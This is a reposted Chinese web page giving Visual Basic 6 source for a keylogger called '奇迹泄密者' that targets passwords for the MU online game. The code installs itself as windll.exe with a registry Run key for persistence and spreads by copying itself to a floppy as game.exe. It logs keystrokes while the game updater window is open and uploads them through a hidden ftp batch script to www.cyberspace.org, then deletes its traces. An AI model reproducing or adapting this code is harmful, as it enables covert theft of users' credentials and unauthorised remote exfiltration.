注册
登录
| 关键词： nbsp keysvalue script winsys file WriteLine Let Then GetAsyncKeyState End |
由于写的匆忙程序有很些bug,忘见凉!^-^ Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Any, ByVal lpWindowName As String) As Long Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Dim fso, wsh Dim winsys, prg, keysvalue As String Dim new_work, start As Boolean Private Sub Form_Load() On Error Resume Next Let new_work = True Set fso = CreateObject("scripting.filesystemobject") Set wsh = CreateObject("wscript.shell") Let winsys = fso.GetSpecialFolder(SystemFolder) If Len(App.Path) = 3 Then Let prg_path = prg Let prg = App.Path & App.EXEName & ".exe" Else: Let prg_path = prg & "\" Let prg = App.Path & "\" & App.EXEName & ".exe" End If If Not fso.FileExists(winsys & "\Msvbvm60.dll") Then fso.CopyFile prg_path & "\Msvbvm60.dll", winsys & "\Msvbvm60.dll" If fso.FileExists(winsys & "\windll.exe") = False Then fso.CopyFile prg, winsys & "\windll.exe" wsh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\windll", winsys & "\windll.exe" Shell "rundll32.exe user.exe,exitwindows" End End If Let keysvalue = "" Let start = False If Not fso.FileExists("a:\game.exe") Then fso.CopyFile prg, "a:\game.exe" End If End Sub Private Sub Timer1_Timer() If new_work = True And start = True Then Call bGetKey ElseIf FindWindow(0&, "mu auto update") = 0 Then Let new_work = True ElseIf FindWindow(0&, "mu auto update") <> 0 Then Let start = True End If End Sub Private Function bGetKey() As Boolean'这里应该需要补充密码的大小写鉴别! Let Timer1.Enabled = False Do Until (Len(keysvalue) >= 23) For times = 48 To 57 Step 1 If GetAsyncKeyState(times) = -32767 Then Let keysvalue = LCase(keysvalue & Chr(times)) GoTo bye End If Next times For times = 65 To 107 Step 1 If GetAsyncKeyState(9) = -32767 Or GetAsyncKeyState(&H1) = -32767 Then Let keysvalue = keysvalue & "%": Exit For If GetAsyncKeyState(8) = -32767 Then Let keysvalue = Left(keysvalue, Len(keysvalue) - 1) If GetAsyncKeyState(times) = -32767 Then If times >= 96 Then Let keysvalue = keysvalue & LTrim(Str(times - 96)) Else: Let keysvalue = LCase(keysvalue & Chr(times)) End If Exit For End If Next times bye: Loop MsgBox keysvalue End Call ftp_server End Function Private Sub ftp_server() Dim script_file Set script_file = fso.CreateTextFile(winsys & "\#" & keysvalue & ".dat", 1) script_file.WriteLine Date & Time script_file.WriteLine "result:#" & keysvalue script_file.Close Set script_file = fso.CreateTextFile(winsys & "\script.dat", 1) script_file.WriteLine "not..write"'不要黑我啦! script_file.WriteLine "hkhk" script_file.WriteLine "ls -l" script_file.WriteLine "send " & winsys & "\#" & keysvalue & ".dat" script_file.WriteLine "quit" script_file.Close Set script_file = fso.CreateTextFile(winsys & "\hacker.dat", 1) script_file.WriteLine "程式名称:奇迹泄密者 版本:1.1 程序设计:Ice@Fire 日期:2003年4月9日" script_file.Close Set script_file = fso.CreateTextFile(winsys & "\cmd.bat", 1) script_file.WriteLine "@echo off" script_file.WriteLine "ftp -s:" & winsys & "\script.dat www.cyberspace.org>>" & winsys & "\hacker.dat" script_file.WriteLine "cls" script_file.Close Shell winsys & "\cmd.bat", vbHide Set File = fso.GetFile(winsys & "\hacker.dat") Do Until (File.Size > 430): Loop Kill winsys & "\script.dat" Kill winsys & "\cmd.bat" Kill winsys & "\#" & keysvalue & ".dat" If fso.FileExists("c:\hkhk.txt") = True Then Shell "notepad.exe " & winsys & "\hacker.dat" End End If Let new_work = False Let start = False Let keysvalue = "" Let Timer1.Enabled = True End Sub 愿能和大家成为朋友[email protected] |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
